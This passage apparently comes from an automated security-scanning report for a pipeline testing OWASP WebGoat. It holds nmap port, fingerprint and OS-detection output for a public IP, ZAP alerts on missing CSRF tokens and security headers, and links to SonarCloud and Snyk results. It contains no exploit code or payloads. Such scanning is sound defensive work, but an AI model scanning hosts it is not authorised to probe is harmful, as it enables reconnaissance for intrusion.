| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 02 Oct 2023 03:45:34 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 02 Oct 2023 03:45:34 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-02T03:45:34.491+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 02 Oct 2023 03:45:52 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff

```
| Content-Type: application/json
| "timestamp" : "2023-10-02T03:45:52.706+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"
```

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/2%Time=651A3CDE%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 02 Oct 2023 03:45:3

SF:4 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 02\x

SF:20Oct 2023 03:45:34 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 02

SF:0Oct 2023 03:45:35 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
")%
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400\n
SF:x20Bad Request Content-Length: 0 Connection: close
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co
SF:ntent-Length: 0 Connection: close
")%r(WMSRequest,42,"H
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection
SF:: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques
SF:t Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/2%Time=651A3CDE%P=x86_64-pc-linux-
gnu%(Ge
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra
SF:me-Options: DENY Date: Mon, 02 Oct 2023 03:45:34\x
SF:20GMT Connection: close Vary: Origin Vary: Access-Con
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con
SF:tent-Type-Options: nosniff Content-Type: application/json \n

SF:r { \"timestamp\" : \"2023-10-02T03:45:34.491+00:00\"
SF:, \"status\" : 404, \"error\" : \"Not
SF:Found\", \"path\" : \"\" })%r(WMSRequest,42,\"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
\")%r(SqueezeCenter_C
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
\")%r(GenericLines,42,\"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
\")%r
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X
SF:-Frame-Options: DENY Date: Mon, 02 Oct 2023 03:45:
SF:52 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap
SF:plication/json
{ \"timestamp\" : \"2023-10-02T03:
SF:45:52.706+00:00\", \"status\" : 404, \"error\\n
SF:\" : \"Not Found\", \"path\" : \"\" })%r(RTSP
SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n
SF:r Connection: close
\");
Device type: general purpose|storage-misc|firewall
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X
(86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel:4.4 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5559.58 ms 40.80.81.24

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 359.58 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 03:47 UTC

Nmap scan report for 40.80.81.24

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 03:47 UTC

Nmap scan report for 40.80.81.24

Host is up (0.25s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds

ZAP Full Scan Report

GitHub Issue number # 443

GitHub Issue URL : [Here!](#)

- Site: <http://40.80.81.24:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://40.80.81.24:8080/>
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6375653558

ZAP Full Scan Report

GitHub Issue number # 442

GitHub Issue URL : [Here!](#)

- Site: <http://40.80.81.24:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://40.80.81.24:8080/>
 - <http://40.80.81.24:8080/robots.txt>
 - <http://40.80.81.24:8080/sitemap.xml>
 - <http://40.80.81.24:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - <http://40.80.81.24:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6375653558

Sonar Cloud Code Scan Report

GitHub Issue number # 441

GitHub Issue URL : [Here!](#)

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Snyk Report

GitHub Issue number # 440

GitHub Issue URL : [Here!](#)

Snyk_scan

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Confidencial

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.